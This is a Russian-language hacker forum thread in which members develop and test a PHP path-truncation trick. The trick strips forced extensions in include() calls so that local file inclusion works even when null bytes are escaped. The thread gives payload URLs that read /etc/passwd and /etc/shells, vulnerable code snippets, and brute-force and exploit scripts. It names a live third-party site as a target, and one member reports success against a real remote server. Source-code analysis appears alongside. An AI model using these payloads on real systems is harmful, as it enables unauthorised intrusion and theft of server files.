Просмотр полной версии : [новый способ] замена нулл-байту в инклудах
Просматривая забугорный форум sla.ckers.org, обнаружил новый способ, позволяющий отбросить любое значение, в частности расширение файла, в инклудах без использования нулл-байта. Как известно, нулл-байт экранируется при magic_quotes_gpc=on, поэтому это зачастую создает трудности при эксплуатировании LFI.
Способ заключается в том, что расширение можно отбросить, если до него предшествует последовательность символов, при чем длина этой последовательности может различаться в зависимости от OS. Где в коде PHP находится уязвимость пока сказать сложно, но вполне ясно, что она связана с теми же особенностями, которые ведут к проблемам с нулл-байтом, т.е. все исходит из C, на котором написан PHP. К сожалению, уязвимость не позволяет выбраться из текущей папки просто дописав перед значением ../, но мной был найден способ обхода (также зависит от OS).
1. *nix
Символы, составляющие последовательность:
0x2F / (не экранируется)
Длина полного пути *:
*getcwd() + DIRECTORY_SEPARATOR + имя файла + последовательность символов
4095 Linux
1023 FreeBSD
Пример:
http://localhost/test.php?lol=inc.php//////////////////////[...]
Выход за пределы текущей папки:
http://localhost/test.php?lol=existing_dir/../../inc.php//////////////////////[...]
где existing_dir имя существующей папки
в некоторых версиях PHP (e.g. 5.1.2) на linux имя папки может быть любым
2. windows
В windows имеются значительные отличия в зависимости от версии PHP. Почти в каждой версии имеются свои особенности.
Символы, составляющие последовательность:
0x20 пробел
не экранируется
работает во всех версиях
не работает при использовании способа с выходом из текущей директории
0x22 "
экранируется
работает в PHP => 5.2.0
не работает при использовании способа с выходом из текущей директории
0x2E .
не экранируется
работает во всех версиях
работает при использовании способа с выходом из текущей директории
0x3C <
не экранируется
работает в PHP => 5.2.0
не работает при использовании способа с выходом из текущей директории
0x3E >
не экранируется
работает в PHP => 5.2.0
не работает при использовании способа с выходом из текущей директории
0x2f /
не экранируется
работает во всех версиях, но в PHP => 5.2.0 только при условии, если отсутствует точка в отбрасываемом значении
работает при использовании способа с выходом из текущей директории, но лишь в некоторых версиях
0x5c \
экранируется
работает во всех версиях, но в PHP => 5.2.0 только при условии, если отсутствует точка в отбрасываемом значении
работает при использовании способа с выходом из текущей директории, но лишь в некоторых версиях
а также различные вариации с точкой:
./
.\
. (пробел)
.//.//
.\\.\\
etc
Длина полного пути *:
*getcwd() + DIRECTORY_SEPARATOR + имя файла + последовательность символов
PHP 4.4.2, 5.1.2, 5.2.6
265 если присутствует точка в отбрасываемом значении
266 если отсутствует
PHP 4.4.4, 4.4.9, 5.2.0
258 если присутствует точка в отбрасываемом значении
259 если отсутствует точка в отбрасываемом значении
Пример:
http://localhost/test.php?lol=inc.php.......................[...]
http://localhost/test.php?lol=inc.php<<<<<<<<<<<[...]
Выход за пределы текущей папки:
http://localhost/test.php?lol=exsiting_dir/../../inc.php............................[...]
http://localhost/test.php?lol=nonexsiting_dir/../../inc.php............................[...]
где nonexsiting_dir имя любой папки, даже несуществующей
Вывод исследования:
для windows универсальный символ для последовательности в векторе атаки это точка (.);
минимальная универсальная длина этой последовательности - 266 символов
в *nix единственным и универсальным символом является слэш (/);
минимальная универсальная длина последовательности - 4095 символов;
Для эксплуатации LFI в реальных условиях необходимо рассчитывать длину последовательности с учетом максимальной длины URL, которую способен принять веб-сервер. Если, например, сервер имеет ограничение URL < 4096 байт, а система работает на linux, то реализовать уязвимость не удастся
Информация конечно не совсем приватная, но пока что распространение она не получила.
Оригинальный топик: http://sla.ckers.org/forum/read.php?16,25706
Длина последовательности:
От 900 до 4000.
Если только в посте :( Думаю сервер врятли разрешит слишком длинную url
Длина последовательности:
230 на winxp 32 bit
243 на vista 32 bit
а вот 230 возможно...
Длина максимального URL зависит от конфигурации веб-сервера. Апач по умолчанию держит 4096 байт, как раз достаточно дле реализации уязвимости
http://paradigm.ru/2007/12/19/url-max-length/
Значит нормально
P.S на локалхосте стоит ограничение 512 по-умолчанию
в смысле на локалхосте? я про веб-сервер, апач он и на локалхосте апач )
з.ы. у меня на локалхосте ограничение 4096 байт )
интересно конечно, у кого нибудь сработало?
ShAnKaR, проверь сам и убедись ) все работает
да, интерсно
*пошёл копать дедокрученые инклуды
B вправду)
http://localhost/?file=favicon.ico%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C
<?php
include($_GET['file'].'.php');
?>
Напишите у кого какие версии всего софта, ось, пхп, апач, способ подключения пхп к апачу.
Что то у меня не работает данная конструкция, если у кого то это работает то отпишите на каких настройках.
<?php
$_GET['inc'] = "/1.txt";
for($x=1;$x<=230;$x++){
//$_GET['inc'] .= urldecode("%3C");
$_GET['inc'] .= "<";
}
include("Z:\\home\\localhost\\www".$_GET['inc']."some.txt");
?>
пашет отлично, но не везде. респект однозначно :)
']ShAnKaR, проверь сам и убедись ) все работает
я проверял- не пахало поэтому и спросил.
UP
проверил побольше диапазон в общем оказалась магической цифра 4075, хз почему, тоесть имя файла вмесле со слешами имеет длину 4075 символа-> увеличиваю имя файла , уменшаю количесво сдешей соответственно, система linux PHP 5.2.6
еще кстати фигня:
$a=$_GET['qd'].'.xxxxxxx';
include($a);
убираю точку в подгружаемом расширении и уже не работает.
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.
1ten0.0net1
30.12.2008, 11:32
PHP Version 4.4.0
System Windows NT 5.1
Код:
<?php
$a=$_GET['page'].'ТУТ_5000_символов_<'.'.php';
include($a);
?>
Apache/1.3.33
magic_quotes=Off
Аналогично, на:
PHP Version 4.4.9
System Linux 2.6.24.2 #1 SMP i686
magic_quotes=On
Apache/1.3.34 (Debian)
Не работает никак.
Отпишитесь, пожалуйста, кто пробовал на 2ке апача и на 5ке php
php 5, apache 2, windows vista, не работает
php 5.2.8
apache 2.2.11
windows xp
работает
http://localhost/test.php?file=lol.bmp............................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. ......................................
<?php include($_GET['file'].'.php'); ?>
хм
система линукс
PHP 5.2.6
апач 2.2.8
<?
include($_GET['page'].'.php');
?>
итак
incl.php?page=omg.txt - 4062 символа/
incl.php?page=om.txt 4064 символа /
incl.php?page=o.txt 4065 символов /
incl.php?page=omfg.txt - 4062 символа /
incl.php?page=xekxekekxek.txt - 4056 симвлов /
может тут кто то видит порядок, я нет =)
PS в каждом случае указано минимально кол-во символов /, если ставить больше то всё работает, к примеру 4070 символов будут работать в любом примере
А на ngnix/light httpd работает? Может бага апача? Нет возможности проверить. У кого есть возможность отпишитесь
1ten0.0net1
30.12.2008, 14:25
http://www.thejustinfoundation.org/main.php?pg=documents/../../../../../../../../../../../etc/shells
Живой нерабочий пример
Здесь, как и в моих примерах выше - Apache/1.3.33
апач тут не причем, из командной строки норм пашет, strace:
getcwd("/var/www/html/test"..., 4096) = 19
time(NULL) = 1230632306
lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=12288, ...}) = 0
lstat64("/usr/share/pear", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share/pear/aaaa.php", 0xbfc7ad78) = -1 ENOENT (No such file or directory)
open("/usr/share/pear/aaaa.php/.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
time(NULL) = 1230632306
lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=12288, ...}) = 0
lstat64("/usr/share/php", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share/php/aaaa.php", 0xbfc7ad78) = -1 ENOENT (No such file or directory)
open("/usr/share/php/aaaa.php/.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
time(NULL) = 1230632306
lstat64("/var", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/var/www", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/var/www/html", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
lstat64("/var/www/html/test", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
lstat64("/var/www/html/test/aaaa.php", {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
open("/var/www/html/test/aaaa.php", O_RDONLY) = 4
fstat64(4, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
fcntl64(4, F_GETFL) = 0 (flags O_RDONLY)
fstat64(4, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8060000
_llseek(4, 0, [0], SEEK_CUR) = 0
_llseek(4, 0, [0], SEEK_SET) = 0
read(4, "<?php\n//phpinfo();\n\n"..., 4096) = 20
PHP 4.4.2 WinXP 32 bit - работает
PHP 4.4.4 WinXP 32 bit - работает
PHP 5.1.2 WinXP 32 bit - работает
PHP 5.2.0 WinXP 32 bit - работает
PHP 4.4.4 Vista 32 bit - работает
PHP 5.2.0 Vista 32 bit - работает
PHP 5.2.6 Vista 32 bit - работает
PHP 5.2.8 FreeBSD 6.3 - работает
В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.
убираю точку в подгружаемом расширении и уже не работает.
у меня такого не наблюдалось ни на винде, ни на линуксе.
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.
об этом уже писал
Предлагаю заняться ииследованием сорцов для выяснения причин баги. Возможно удастся понять от чего зависит длина необходимой последовательности.
@1ten0.0net1
на твоем живом примере не работает, потому что доставляется ./:
include(./documents/../../../../../../../../../../../etc/shells.php)
вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.
Вообщем написал скрипт для быстрой проверки.
Складываем в папку z:/home/localhost/www/testinc/
Скрипт становится доступным по адресу http://www.localhost/testinc/test.php
Скрипт который запускаем (test.php)
<?php
$evilstr = "";
$fp = fopen("log.txt","a");
for ($x=0;$x<=500;$x++){
$evilstr .= "<";
$content = file_get_contents("http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr);
if (preg_match("#(.*)bugworking(.*)#",$content,$matches)){
echo "http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr."\r\n";
die ("Bug working with $x added chars");
}else{
fputs($fp, $content."\r\n\r\n");
}
}
fclose($fp);
?>
Скрипт который инклюдит inc.php ложим туда же
<?php
error_reporting(E_ALL);
include($_GET['inc'].".txt");
?>
и ложим файл vuln.txt с содержимым
-bugworking-
запускаем в браузере http://www.localhost/testinc/test.php
Получаю в ответ, что бага работает 216 символов и более.
Версии
PHP Version => 5.2.4
Windows NT XHOME 5.1 build 2600 Build Date хр короче
Apache 2.2.4
но стоит прописать абсолютный путь в любом варианте, и больше ни чё не пашет.
<?php
error_reporting(E_ALL);
include("Z:/home/localhost/www/testinc/".$_GET['inc'].".txt");
?>
Внимание вопрос. Почему ?
У кого есть идеи ?
то есть я не вижу объективных причин не работать с абсолютным путём.
1ten0.0net1
30.12.2008, 15:21
Скрипт SQLHACK переделаный под себя не работает. Имхо - с 4.4.0 не работает
вот проверил несколько функций, как то странно.
require_once - работает
require - работает
include - работает
include_once - работает
file_get_contents - не работает
fopen - не работает
file - не работает
readfile - не работает
почему только функции инклюда подвержены ?
а Virtual и другие не пашут.
копать сорцы пшп? Угу, к тому же они не оч сложные. Надеюсь если их скомпилировать, бага останется. Имхо там гдето тупой оверфлоу должен быть, а длина обусловлена расстоянием до той строки которая фактически передастся в функцию инклуда (или может там отдельно как нибудь текущая дира передаётся и её значение и переписывается этим методом?), но это догадки. Пока времени посмотреть нет :(
P.S.
php-5.2.6-Win32 пример от SQLHACK работает, выдаёт "Bug working with 219 added chars".
P.P.S.
С абсолютным путём кстати и может неработать, если переписывается имено указатель на текущую директорию, относительно которой относительный путь конвертится в абсолютный. А в случае абсолютного пути, нет необходимости в вычеслении действительного пути.
есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути
есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути Не обязательно должен падать, мож строка где нибудь обрезается после какого нибудь предела, а всё что переписывается отношения к исполняемому коду не имеет.
А вот ещё один признак того, что скорее всего переписывается результат функции getcwd (получение текущего каталога), ну и причина того, что абсолютные пути не пашут:
вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.
P.S.
Вот тут: http://bugs.php.net/bug.php?id=41822
написано, что include с относительным путём вызывает getcwd.
По ходу уязвимость где-то в этих функциях:
static int php_stream_open_for_zend(const char *filename, zend_file_handle *handle TSRMLS_DC) /* {{{ */
{
return php_stream_open_for_zend_ex(filename, handle, ENFORCE_SAFE_MODE|USE_PATH|REPORT_ERRORS|STREAM_OP EN_FOR_INCLUDE TSRMLS_CC);
}
/* }}} */
PHPAPI int php_stream_open_for_zend_ex(const char *filename, zend_file_handle *handle, int mode TSRMLS_DC) /* {{{ */
{
php_stream *stream;
stream = php_stream_open_wrapper((char *)filename, "rb", mode, &handle->opened_path);
if (stream) {
handle->type = ZEND_HANDLE_STREAM;
handle->filename = (char*)filename;
handle->free_filename = 0;
handle->handle.stream.handle = stream;
handle->handle.stream.reader = (zend_stream_reader_t)_php_stream_read;
handle->handle.stream.closer = stream_closer_for_zend;
handle->handle.stream.fteller = stream_fteller_for_zend;
handle->handle.stream.interactive = 0;
/* suppress warning if this stream is not explicitly closed */
php_stream_auto_cleanup(stream);
return SUCCESS;
}
return FAILURE;
}
php_stream_open_wrapper(); - предпологаю, что уязвимость где-то в ней
По ходу уязвимость где-то в этих функциях: Я бы посмотрел ещё, где &handle->opened_path вычисляется..
З.Ы.
Второй файл что ты выложил - не в тему, он для GZIP.
Класс zend_file_handle? Не найти что-то Сейчас сорцы качаю. вот проверил несколько функций, как то странно.
require_once - работает
require - работает
include - работает
include_once - работает
file_get_contents - не работает
fopen - не работает
file - не работает
readfile - не работает
почему только функции инклюда подвержены ?
а Virtual и другие не пашут. Потому что ТОЛЬКО функции инклуда, вызывают функцию getcwd, для вычисления абсолютного пути по относительному :) (хех, я был прав, в том что проблема с вычислением пути по текущему, посмотрим прав ли в остальном)
А что если какая-то логическая ошибка => как-бы получается что функция выполняется, но значение параметра становится = '\0', что значит конец строки => обход magic_quotes'ов?
Вот кое-чот интересное! Похоже на переполнение буфера! Возможно длина строки неправильно расчитывается
/* no docref given but function is known (the default) */
if (!docref && is_function) {
int doclen;
if (space[0] == '\0') {
doclen = spprintf(&docref_buf, 0, "function.%s", function);
} else {
doclen = spprintf(&docref_buf, 0, "%s.%s", class_name, function);
}
while((p = strchr(docref_buf, '_')) != NULL) {
*p = '-';
}
docref = php_strtolower(docref_buf, doclen);
}
ChaaK, ты в какието дебри полез :) Чтото я этот кусок нигде в инклуде не видел.
Jokester
30.12.2008, 19:24
Тоже потестил, вот результат :
Конфигурация:
WinXP 32 bit, PHP 5.2.4, Апач 2.2.4
Работает
Цифра это минимальное кол-во символов
"."-218
" "пробел - никакой реакции
"<"-218
">"-218
С абсолютным путём не пашет Пока тестил только в include
И обнаружился ещё один символ, с которым работает:
"+"-218
кароч:
файл plain_wrappers.c
функция _php_stream_fopen_with_path:
snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
stream = php_stream_fopen_rel(trypath, mode, opened_path, options);
там же функция _php_stream_fopen (тоже что php_stream_fopen_rel)
if ((realpath = expand_filepath(filename, NULL TSRMLS_CC)) == NULL) {
return NULL;
}
...
fopen(fname, ...
fname уже нормальный
дальше файл fopen-wrappers.c функция expand_filepath:
char cwd[MAXPATHLEN];
cwd[0] = '\0';
new_state.cwd = strdup(cwd);
new_state.cwd_length = strlen(cwd);
if (virtual_file_ex(&new_state, filepath, NULL, CWD_FILEPATH)) {
free(new_state.cwd);
return NULL;
}
real_path = estrndup(new_state.cwd, new_state.cwd_length);
real_path уже нормальный, MAXPATHLEN везде (не знаю как там у вас в виндах) = 4096;
ну что видно из этого идет везде сначала
xxx.php/////////..../////////////.txt
потом по MAXPATHLEN обрезается до
xxx.php/////////..../////////////.
дальше обрабатывается видимо функцией virtual_file_ex , она возвращает false и изменяет new_state.
']
В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.
у меня такого не наблюдалось ни на винде, ни на линуксе.
у меня вот:
<?php
$f="aaaa.php".str_repeat('/',$argv[1]);
$z=getcwd();
$u=$f.'.fffffffff';
$v=$z.'/'.$f;
print strlen($v)."\n";
require($u);
?>
[test@localhost cli]$ ./php ./test.php 4047
без точки не работает.
']
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.
об этом уже писал
ты писал что папка должна существовать.
где existing_dir имя существующей папки
у меня выпоняется без этого условия.
без точки не работает.
FreeBSD 6.3, PHP 5.2.8 - работает без точки, какая у тебя система хоть?
ты писал что папка должна существовать.
это относится к linux, хотя это понятие растяжимое ) на все том же FreeBSD 6.3, PHP 5.2.8 через несуществующую папку не инклудится =\
потом файл tsrm_virtual_cwd.c
функция virtual_file_ex:
free_path = path_copy = tsrm_strndup(path, path_length);
ptr = tsrm_strtok_r(path_copy, TOKENIZER_STRING, &tok);
тут TOKENIZER_STRING у меня равен "/" в винде наверно чтото другое.
файл tsrm_strtok_r.c
char *tsrm_strtok_r(char *s, const char *delim, char **last)
{
char *token;
if (s == NULL) {
s = *last;
}
while (*s && in_character_class(*s, delim)) {
s++;
}
if (!*s) {
return NULL;
}
token = s;
while (*s && !in_character_class(*s, delim)) {
s++;
}
if (!*s) {
*last = s;
} else {
*s = '\0';
*last = s + 1;
}
return token;
}
потом опять файл tsrm_virtual_cwd.c
функция virtual_file_ex:
и тут наверно и идет бага:
while (ptr) {
...
} else if (!IS_DIRECTORY_CURRENT(ptr, ptr_length)) {
...
memcpy(&state->cwd[state->cwd_length], ptr, ptr_length+1);
...
ну а символ точка это как раз и есть 'IS_DIRECTORY_CURRENT' , следовательно можно использоывать не только длинную строчку из '/' а ещё и '/.'
остается конечно не понятно почему без точки в конце не пашет
в винде по идее еще должно проходить с нормальным слешем и обратным:
#ifdef TSRM_WIN32
#include <tchar.h>
#define tsrm_strtok_r(a,b,c) _tcstok((a),(b))
#define TOKENIZER_STRING "/\\"
проверил php 4.4.9:
файл streams.c функция _php_stream_fopen_with_path
snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
/* If file does not exist continue */
if (VCWD_STAT(trypath, &sb) != 0) {
ptr = end;
continue;
}
VCWD_STAT ( практически стандартная файловая функция stat ) проверяет сначала существует ли файл а потом php уже пытается открыть в пятой такого не заметил, тоесть у меня не заработало на четвертой версии, у вас как?
вот на php 4 можно так тогда, да и на пятой тоже соответственно:
existing_dir/..//////////////////////// ... ///////////////////shell.php
окончание если есть обрежет по maxpathlen тогда
ShAnKaR
в этом случае полный путь из getcwd+значение переменной должны равнятся maxpathlen? чтобы обрезалось только расширение
в пшп5 проще использовать конструкцию
.php?file=shell.php////////[...], где кол-во / может быть равно maxpathlen, те 4096 по дефолту
я правильно понял? и второй случай в пшп4 не прокатит?
ShAnKaR
в этом случае полный путь из getcwd+значение переменной должны равнятся maxpathlen? чтобы обрезалось только расширение
ну если не ошибаюсь там еще нулевой байт добавляется поэтому maxpathlen-1, случай когда слешы после имени у меня не катят на php 4, я показывал почему, вобще чего меня спрашивать когда можно все самому проверить.
вобще чего меня спрашивать когда можно все самому проверить.
вы же ROA в конце концов уже, ну ка подняли силу духа и разобрались как в винде бага работает ), я делал просто - вставлял в спорных местах printf, компилил и выводил содержимое, итак все глубже и глубже.
обновил шапку
upd: еще дополнил инфой по линуксу. Если в ваших тестах данные расходятся с моими, просьба сообщить в данной теме
в linux имя папки может быть любым
линукс, пшп 5.2.6
у меня с несуществующей папкой не работает
у меня на PHP 5.1.2 работало с несуществующей папкой, но в новых версиях действительно не работает
a придумали бы методы обхода file_exists в никсах с несуществующей директорией/файлом. . .
ЗЫ сорри, не могу принять активное участие в дискуссии, ибо в отъезде
пых четвёртой последняя версия, 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:37:32 EDT 2006 i686 i686 i386 GNU/Linux - не пашет.
пых четвёртой последняя версия, 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:37:32 EDT 2006 i686 i686 i386 GNU/Linux - не пашет.
для php 4 я предложил как обходить
В общем, еще одна небольшая заметка, на мысль о которой натолкнула статья [Raz0r].
Итак, представим у нас есть скрипт
<?php
include($_GET['file'].'.php');
?>
Это просто для примера, тут пройдет и обычный инклуд с нулевым байтом (если конечно magic_quotes off), так и способ от [Raz0r].
А я вот обнаружил еще одну интересную вещь, в Виндовсе максимальное количество символов в имени файла – 240. Так, вот я подумал, а что будет, если будет конструкция вида
http://test1.ru/?file=page........................................ .................................................. .................................................. .................................................. ...........................................txt
include('page..................................... .................................................. .................................................. .................................................. ..............................................txt. php'); т.е. имя файла, который мы предлагаем содержит 240 символов, а ведь есть еще и .php. В общем, естественно имя файла обрезается до положенной длины, и на инклуд отправляется только page.............................................. .................................................. .................................................. .................................................. .....................................txt без .php
[+] При проверке файла при загрузке на сайт, расширение будет таким, какое нужно админу! =) В нашем случае .txt
[+] Во многих скриптах отсутствует проверка на длину файла
[-] Привязка к ОС – Windows
[-] Загружаемый файл на сайт должен иметь имя файла то же, что мы назначили, а не меняться скриптом.
В общем, я еще буду экспериментировать с Linux’ом, а где это применить, думаю найдете.
Команда USH выложила в паблик свою статью, в которой подробно описан данный способ, поэтому я посчитал, что теме больше не место в РОА и попросил Grey перенести ее сюда. В этой теме много заблуждений, но все предположения ShAnKaR подтвердились. Вольный перевод статьи USH у меня в блоге:
http://raz0r.name/articles/null-byte-alternative/
Блин, сегодня на практике применил эту статью , а так бы забил на тот серв с инклюдом и magic quotes on.
Все работает.
на локалхосте тестировал - Win XP, PHP 5.2.4 и апач 2 (денвер 3)
<?php include($_GET['file'].'.php'); ?>
http://localhost/testinc.php?file=favicon.ico[225 точек ] работает.
а потом на удаленном серваке (Линукс, точная версия и ПО неизвестно мне)
http://www.site/~papka1/papka2/Papka3/papka4/script.phtml?page=../../../../../../../../etc/passwd[4015 точек минимальное значение] работает.
Респект вам всем)
Хост: nginx/0.7.31
максимальная длинна 8176 байт.
Накатал минисплоит:
inc.php, http://some_other_host/inc.php
<?php
phpinfo();
?>
i_am_file_with_include.php
<?php
include $_GET["file"] . ".php";
?>
exploit.php
<?php
$include_file = urlencode($argv[1]);
$host = "localhost";
$url = "i_am_file_with_include.php?file=$include_file";
$overflow = "";
$maxURI = 8176;
$sym = "/";
for($i=1;$i<=$maxURI-strlen($url);$i++) {$overflow .= $sym;}
$ch = curl_init("$host/$url$overflow");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
echo $res;
?>
./php exploit.php inc.php - Работает
./php exploit.php http://some_other_host/inc.php - Не работает
http://localhost/i_am_file_with_include.php?file=http://some_other_host/inc - Работает
Метод пашет, только непонятно почему удаленный инклуд не происходит.
BlackSun
04.03.2009, 12:04
С удаленным инсклудом все проше, там даже обрезать не надо, просто поставь в конце - ?
WinXP, PHP 5.2.8, Apache 2.2.11, include_path=.;C:\php5\pear
Работает с < > . + /
Минимальная длина строки (вместе с URL) = 280
---------------
FreeBSD 6.4, PHP 5.2.9, Apache 1.3.37, include_path=.:/usr/local/share/pear
Пробовал с / и /. разных длин - не работает
Ня,с твоим скриптом я не фкурил.Вот,написал свою версию:
ЗЫ: Все скрипты должны назодиться в одной папке.
includer2.php
<?php
function dotted() {
$dot = "";
for ($n = 0; $n < 500; $n++) {
$dot .= chr(46);
url_sender($dot);
}
}
function url_sender($dot) {
$url="http://localhost/exploiter/inc.php?file=gangsta.txt$dot";
$ua = "IE 6.0";
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$res = curl_exec($ch);
if(preg_match("|Yes!|",$res,$m)) {
echo "<center>Cool!</center>";
}
else {
echo "<center>Fuck!</center>";
}
curl_close($ch);
}
dotted();
?>
inc.php
<?php
include($_GET['file'].php);
?>
Киньте туда любой файлиг(Я его обозвал gangsta.txt : D).Надеюсь,кому-нибудь пригодится(Знаю-знаю - Веля плохой и многого не понимает:)
ЗЫ: Не хватает только счётчиков,какой по счёту символ является *фатальным* )))
Пробовал до шести до 5999 точек выставлять - не помогло(хотел проинклудить файл в папке /etc/hosts).
Система: Windows XP HOME (SP 2 )
Интерпретатор: PHP: 5.2.6 без Сухозиновских заплаток.
Сервер: VertrigoServ v 2.21
В общем,фигня какая-то.Пробиваю расширение только файлов,которые находятся в папке с бажным скриптом.
ЗЫ: Фаил инклудится уже с 204-ой точки и так по возрастающей )))
Pashkela
20.05.2009, 20:39
2 Велемир:
Чушь не говори. Посмотри последние три страницы "Ваши вопросы по уязвимостям" - увидишь в действии, как говорится
Не знаю,о чём ты.Если ты о линке на русайт,то он не читабелен.И с чего ты взял,что мой вариант не работает ? Проверь сам - расширение режется
так если режеться - то что ты хочешь то? Об этом и тема - что можо так отсекать расширение
Я не о том - я о том,что пример выложен в теге [code] с некуёвым количеством ./.Как мне убедиться в работе бага ?
Пробовал до шести до 5999 точек выставлять - не помогло(хотел проинклудить файл в папке /etc/hosts).
Система: Windows XP HOME (SP 2 )
Вот это сильно.../etc/hosts в WinXP..отсыпь) :D
зы: и кстати, все работает.
Pashkela
21.05.2009, 20:59
Я не о том - я о том,что пример выложен в теге [code] с некуёвым количеством ./.Как мне убедиться в работе бага ?
Задача проста конечно лишь на первый взгляд, поэтому я пошел по самому сложному пути - скопировал ссылку. Если найдешь другие варианты решения - обязательно отпишись в книгу рекордов Гиннеса
не забывайте, что если в инклуде указан абсолютный путь то этот способ работать не будет, т.к не вызывается getcwd()
Прошу прощение за поднятия темы, тестил я сабж, работает!
Тестил под виндой:
//////////////////////////////[...]
Конфигурация:
Apache 2.2
PHP 5.2.4
Root-access
09.11.2009, 22:49
А на ngnix/light httpd работает? Может бага апача? Нет возможности проверить. У кого есть возможность отпишитесь
На nginx ограничение что-то вроде 4079 символов после /, т.е. http://localhost/[4079 символов], значит работать не будет. Кстати в этом месте в nginx есть переполнение, в сентябре нашли.
На lighttpd, кстати, тоже работает, пробовал добавлять "/././././." - до 4096 или чуть выше и проинклудилось удачно.
точные версии:
PHP 5.2.4-2ubuntu5.10 with Suhosin-Patch 0.9.6.2 (cgi-fcgi) (built: Jan 6 2010 21:53:15)
lighttpd-1.4.19 (ssl) Build-Date: Apr 6 2008 00:38:33
А кто-нибудь проверял как эта техника работает с file_exists()?
Эта функция подвержена обычному null-byte, однако данной техникой я не смог ее обойти на своей системе..
$filename = 'your-some-real-dir/../../../../../../../etc/passwd'.str_repeat("/.", 2020).'soap.php';
if (file_exists($filename)) {
echo "The file $filename exists";
include($filename);
} else {
echo "The file $filename does not exist";
}
Мб туповатый вопрос, но при
[...]
$imageName = $_FILES['myImage']['name'];
move_uploaded_file($_FILES['myImage']['tmp_name'], "images/" . $imageName);
[...]
этот баг сработает?
Root-access
15.03.2010, 23:13
А кто-нибудь проверял как эта техника работает с file_exists()?
Эта функция подвержена обычному null-byte, однако данной техникой я не смог ее обойти на своей системе..
$filename = 'your-some-real-dir/../../../../../../../etc/passwd'.str_repeat("/.", 2020).'soap.php';
if (file_exists($filename)) {
echo "The file $filename exists";
include($filename);
} else {
echo "The file $filename does not exist";
}
Хм, у меня тоже не сработало, значит функция file_exists() не подвержена уязвимости.
U.P.D. Но возможно многие функции, работающие с файлами подвержены. Надо найти причину в исходниках.
Мб туповатый вопрос, но при
[...]
$imageName = $_FILES['myImage']['name'];
move_uploaded_file($_FILES['myImage']['tmp_name'], "images/" . $imageName);
[...]
этот баг сработает?
Хм, по идее нет, проверю - отпишу... А вообще...
Надо сначала научиться создавать файлы с длиной имени в 4096 символов)
Надо сначала научиться создавать файлы с длиной имени в 4096 символов)
